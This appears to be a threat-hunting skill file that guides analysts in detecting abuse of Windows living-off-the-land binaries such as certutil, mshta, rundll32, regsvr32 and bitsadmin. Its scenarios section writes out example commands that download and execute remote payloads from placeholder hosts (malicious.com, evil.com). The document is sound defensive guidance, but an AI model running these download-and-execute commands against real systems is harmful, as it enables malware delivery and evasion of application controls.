1---2name: hunting-for-living-off-the-land-binaries3description: Proactively hunt for adversary abuse of legitimate system binaries (LOLBins) to execute malicious payloads while evading detection.4domain: cybersecurity5subdomain: threat-hunting6tags: [threat-hunting, mitre-attack, lolbins, edr, siem, proactive-detection, defense-evasion]7version: "1.0"8author: mahipal9license: MIT10metadata:11 source: https://skillmd.com/skills/njones17/hunting-for-living-off-the-land-binaries12---1314# Hunting for Living-off-the-Land Binaries (LOLBins)1516## When to Use1718- When investigating fileless malware campaigns that bypass traditional AV19- During proactive threat hunts targeting defense evasion techniques20- When EDR alerts fire on legitimate binaries executing unusual child processes21- After threat intelligence reports indicate LOLBin abuse in active campaigns22- During red team/purple team exercises validating detection coverage for T12182324## Prerequisites2526- Access to EDR telemetry (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)27- SIEM with process creation logs (Sysmon Event ID 1, Windows Security 4688)28- Familiarity with LOLBAS Project (lolbas-project.github.io) reference list29- PowerShell command-line logging enabled (Module Logging, Script Block Logging)30- Network proxy or firewall logs for correlating outbound connections3132## Workflow33341. **Define Hunt Hypothesis**: Formulate a hypothesis based on threat intel (e.g., "Adversaries are using certutil.exe to download second-stage payloads from external domains").352. **Identify Target LOLBins**: Select specific binaries from the LOLBAS Project database to hunt for, prioritizing those matching current threat landscape (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).363. **Collect Process Telemetry**: Query EDR or SIEM for process creation events involving target LOLBins with unusual command-line arguments, parent processes, or execution contexts.374. **Baseline Normal Behavior**: Establish what legitimate usage looks like for each LOLBin in your environment by analyzing historical frequency, typical parent processes, and standard arguments.385. **Identify Anomalies**: Compare current telemetry against baselines, flagging executions with network connections, encoded commands, unusual file paths, or abnormal parent-child process chains.396. **Correlate and Enrich**: Cross-reference anomalous LOLBin activity with network logs, DNS queries, file creation events, and threat intelligence feeds.407. **Document and Report**: Record findings, update detection rules, and create IOC lists for identified malicious LOLBin usage.4142## Key Concepts4344| Concept | Description |45|---------|-------------|46| LOLBin | Legitimate OS binary abused by attackers for malicious purposes |47| LOLBAS Project | Community-curated list of Windows LOLBins, LOLLibs, and LOLScripts |48| T1218 | MITRE ATT&CK - Signed Binary Proxy Execution |49| T1218.001 | Compiled HTML File (mshta.exe) |50| T1218.002 | Control Panel (control.exe) |51| T1218.003 | CMSTP |52| T1218.005 | Mshta |53| T1218.010 | Regsvr32 |54| T1218.011 | Rundll32 |55| T1197 | BITS Jobs (bitsadmin.exe) |56| T1140 | Deobfuscate/Decode Files (certutil.exe) |57| Proxy Execution | Using trusted binaries to execute untrusted code |58| Fileless Attack | Attack that operates primarily in memory without dropping files |5960## Tools & Systems6162| Tool | Purpose |63|------|---------|64| CrowdStrike Falcon | EDR telemetry and process tree analysis |65| Microsoft Defender for Endpoint | Advanced hunting with KQL queries |66| Splunk | SIEM log aggregation and SPL queries |67| Elastic Security | Detection rules and timeline investigation |68| Sysmon | Detailed process creation and network logging |69| LOLBAS Project | Reference database of LOLBin capabilities |70| Sigma Rules | Generic detection rule format for LOLBins |71| Velociraptor | Endpoint forensic collection and hunting |7273## Common Scenarios74751. **Certutil Download Cradle**: Adversary uses `certutil.exe -urlcache -split -f http://malicious.com/payload.exe` to download malware, bypassing web proxies that allow certutil traffic.762. **Mshta HTA Execution**: Attacker delivers HTA file via email that executes VBScript payload through `mshta.exe`, which is a signed Microsoft binary.773. **Rundll32 DLL Proxy Load**: Malicious DLL loaded via `rundll32.exe shell32.dll,ShellExec_RunDLL` to proxy execution through a trusted binary.784. **Regsvr32 Squiblydoo**: Remote SCT file executed via `regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll` bypassing application whitelisting.795. **BITSAdmin Persistence**: Adversary creates BITS transfer job to repeatedly download and execute payloads using `bitsadmin /transfer`.8081## Output Format8283```84Hunt ID: TH-LOLBIN-[DATE]-[SEQ]85Hypothesis: [Stated hypothesis]86LOLBins Investigated: [List of binaries]87Time Range: [Start] - [End]88Data Sources: [EDR, Sysmon, SIEM]89Findings:90 - [Finding 1 with evidence]91 - [Finding 2 with evidence]92Anomalies Detected: [Count]93True Positives: [Count]94False Positives: [Count]95IOCs Identified: [List]96Detection Rules Created/Updated: [List]97Recommendations: [Next steps]98```